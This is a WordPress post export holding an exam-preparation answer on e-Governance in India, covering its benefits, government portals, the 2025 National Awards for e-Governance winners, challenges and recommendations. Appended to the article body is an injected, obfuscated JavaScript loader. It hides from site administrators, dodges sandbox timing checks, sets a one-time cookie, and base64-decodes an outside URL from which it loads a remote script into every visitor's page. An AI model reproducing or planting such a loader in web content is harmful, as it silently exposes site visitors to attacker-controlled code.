{"id":2132,"date":"2025-05-27T14:07:07","date_gmt":"2025-05-27T14:07:07","guid":{"rendered":"https:\/\/iasquest.com\/?p=2132"},"modified":"2026-02-11T18:56:28","modified_gmt":"2026-02-11T18:56:28","slug":"gs-ii-governance-constitution-polity-social-justice-and-international-relations-8","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/gs-ii-governance-constitution-polity-social-justice-and-international-relations-8\/","title":{"rendered":"GS II Governance, Constitution, Polity, Social Justice and International Relations"},"content":{"rendered":"\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>e-Governance is the premium indicator for public service delivery in India. Elaborate in detail the level of e-Governance in India with reference to the recently announced National Awards for e-Governance.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">E-Governance is a transformative approach to public administration, <strong>leveraging Information and Communication Technology (ICT) to enhance governance efficiency<\/strong>, citizen engagement, transparency, and accountability. It embodies the <strong>spirit of \u201cSMART Governance\u201d <\/strong>\u2014 Simple, Moral, Accountable, Responsive, and Transparent.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Significance of e-Governance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-4\">\n<li>Applications of e-governance in India involve using digital tools and platforms to streamline interactions between government, citizens, businesses, and employees. These applications are crucial for improving service delivery, fostering transparency, and enhancing participation in democratic processes.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>e-Governance is important for achieving the following qualities in service delivery.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Transparency:<\/strong> Reduces corruption through public access to information.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Efficiency:<\/strong> Streamlines workflows and reduces paperwork.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>Economic Development:<\/strong> Reduces transaction costs and enhances rural prosperity.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Social Inclusion:<\/strong> Empowers marginalised sections through participatory governance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Service Quality:<\/strong> Enhances responsiveness and accountability in service delivery.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\">With 70% of India\u2019s population residing in rural areas, e-governance has immense potential to bridge rural-urban disparities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\">Initiatives like <strong>Digital India and CCTNS (Crime and Criminal Tracking Network &amp; Systems)<\/strong> enhance rural access to crucial information on markets, healthcare, education, and government schemes.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>Emerging technologies like Artificial Intelligence (AI), Machine Learning (ML), and Robotics are reshaping e-Governance. Web 2.0, characterised by interactive digital platforms, facilitates document sharing, online discussions, and feedback mechanisms.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>FASTER (Supreme Court):<\/strong> A digital platform to communicate judicial orders electronically.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>SUPACE:<\/strong> A Supreme Court tool for aiding judges with relevant facts and laws.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Applications of e-Governance in India<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Government to Citizens (G2C) Initiatives<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">G2C applications focus on extending governance to citizens through efficient service delivery and transparency.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li><strong>SVAMITVA Scheme:<\/strong> Enables rural property documentation using drone technology, empowering rural citizens economically.<\/li>\n\n\n\n<li><strong>Shram Suvidha Portal:<\/strong> Simplifies enforcement of labor laws via an online inspection system.<\/li>\n\n\n\n<li>Jan Soochna Portal (Rajasthan): Offers public access to government-related information, ensuring transparency.<\/li>\n\n\n\n<li><strong>CPGRAMS: <\/strong>An online grievance redressal platform for citizens to lodge complaints 24\u00d77.<\/li>\n\n\n\n<li><strong>e-Mitra (Rajasthan): <\/strong>Provides government and private sector services under one roof through Public-Private Partnership (PPP) models.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Government to Business (G2B) Initiatives<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">e-Governance fosters a conducive environment for business operations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><ul><li>SPICe+: A streamlined web-based form for company incorporation with real-time data validation.<\/li><\/ul><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>MCA21: An initiative by the Ministry of Corporate Affairs to provide online registry-related services, enhancing transparency and reducing processing time.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Government to Government (G2G) Initiatives<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">G2G applications improve internal governmental processes, boosting operational efficiency.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><ul><li>PARIVESH: A web-based platform for seeking and monitoring forest, environment, and wildlife clearances.<\/li><\/ul><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li>PRAGATI: A multi-purpose platform for monitoring important government projects and addressing inter-governmental issues.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Government to Employees (G2E) Initiatives<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">These applications ensure better communication and service delivery to government employees.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><ul><li>iGOT Karmayogi: An online training platform for lifelong learning and career development of employees.<\/li><\/ul><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>e-Postal Ballot: Enables electronic voting for specific sections of the electorate, improving inclusivity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Social Networking Sites (SNS) in e-Governance:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">The digital revolution and the proliferation of Social Networking Sites (SNS) have added a new dimension to governance. Governments leverage SNS to:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-34\">\n<li>Disseminate real-time information.<\/li>\n\n\n\n<li>Gather feedback for policy planning and execution.<\/li>\n\n\n\n<li>Enable citizen engagement in decision-making.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>National Awards for e-Governance (NAeG) 2025:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">They are presented every year to recognize and promote excellence in implementation of e-Governance initiatives.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S No<\/strong><\/td><td><strong>Name of the Project<\/strong><\/td><td><strong>Organisation Name<\/strong><\/td><\/tr><tr><td>&nbsp;1<\/td><td>Mining Tenement System<\/td><td>Indian Bureau of Mines (IBM), Ministry of Mines<\/td><\/tr><tr><td>&nbsp;2<\/td><td>Multi Hazard Early Warning Decision Support System<\/td><td>India Meteorological Department<\/td><\/tr><tr><td>&nbsp;3<\/td><td>SAMPADA (Stamps And Management of Property And Documents Application) 2.0<\/td><td>Commercial Tax Department of the Government of Madhya Pradesh (MP)<\/td><\/tr><tr><td>&nbsp;4<\/td><td>Project Monitoring System and Water Quality Monitoring Information System<\/td><td>State Mission Management Unit, Kerala<\/td><\/tr><tr><td>&nbsp;5<\/td><td>Digital India BHASHINI Division<\/td><td>Ministry of Electronics and Information Technology<\/td><\/tr><tr><td>&nbsp;6<\/td><td>Digi Yatra<\/td><td>Ministry of Civil Aviation<\/td><\/tr><tr><td>&nbsp;7<\/td><td>National Animal Diseases Referral Expert System- Integrating Data Driven Disease Surveillance and Predictive Analytics for Livestock Diseases (NADRES V2)<\/td><td>ICAR \u2013 National Institute of Veterinary Epidemiology and Disease Informatics &nbsp;<\/td><\/tr><tr><td>&nbsp;8<\/td><td>Robust cybersecurity measures in IT-OT convergence for railway systems &#8211; &#8220;Best e-Gov Practices\/Innovation in Cyber Security&#8221;<\/td><td>National Capital Region Transport Corporation (NCRTC)<\/td><\/tr><tr><td>&nbsp;9<\/td><td>Data Harmonisation for Risk Insights and Security Threat Intelligence (DHRISTI)<\/td><td>National Informatics Centre (NIC)<\/td><\/tr><tr><td>&nbsp;10<\/td><td>Quantum Safe VPN<\/td><td>Ministry of Defence<\/td><\/tr><tr><td>&nbsp;11<\/td><td>Bruhat Bengaluru Mahanagar Palike &#8211; Contactless, Faceless &amp; Online eKhata &amp; Digitized Property Records Management System<\/td><td>Bruhat Bengaluru Mahanagar Palike (BBMP), Government of Karnataka<\/td><\/tr><tr><td>&nbsp;12<\/td><td>Amin Management System<\/td><td>Gangtok, Sikkim<\/td><\/tr><tr><td>&nbsp;13<\/td><td>Rohini Gram Panchayat<\/td><td>Dhule District, Maharashtra<\/td><\/tr><tr><td>&nbsp;14<\/td><td>West Majlishpur Gram Panchayat<\/td><td>West Tripura District, Tripura<\/td><\/tr><tr><td>15<\/td><td>Sampurna Shiksha Kavach<\/td><td>Latehar District Administration, Jharkhand<\/td><\/tr><tr><td>\u00a016<\/td><td>Drone Analytics Monitoring System (DAMS) for Highway Management<\/td><td>National Highways Authority of India<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Challenges in e-Governance<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">Despite its advantages, e-Governance faces challenges:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li>Digital Divide: Unequal access to ICT infrastructure, especially in rural areas.<\/li>\n\n\n\n<li>Data Security: Risks of cyberattacks and data breaches.<\/li>\n\n\n\n<li>Resistance to Change: Hesitancy among traditional administrative setups to adopt new technology.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Way Forward<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">Over the years, e-Governance has evolved from mere computerization of government offices to a robust framework facilitating seamless interaction among stakeholders. To even more exponentiate its potential,<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li>Capacity Building: Regular training for government officials.<\/li>\n\n\n\n<li>Infrastructure Development: Expanding internet and mobile connectivity in remote areas.<\/li>\n\n\n\n<li>Cybersecurity: Strengthening legal frameworks and technological safeguards.<\/li>\n\n\n\n<li>Public Awareness: Educating citizens about e-Governance benefits and usage.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleseDetail.aspx?PRID=2131606\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleseDetail.aspx?PRID=2131606<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>e-Governance is the premium indicator for public service delivery in India. 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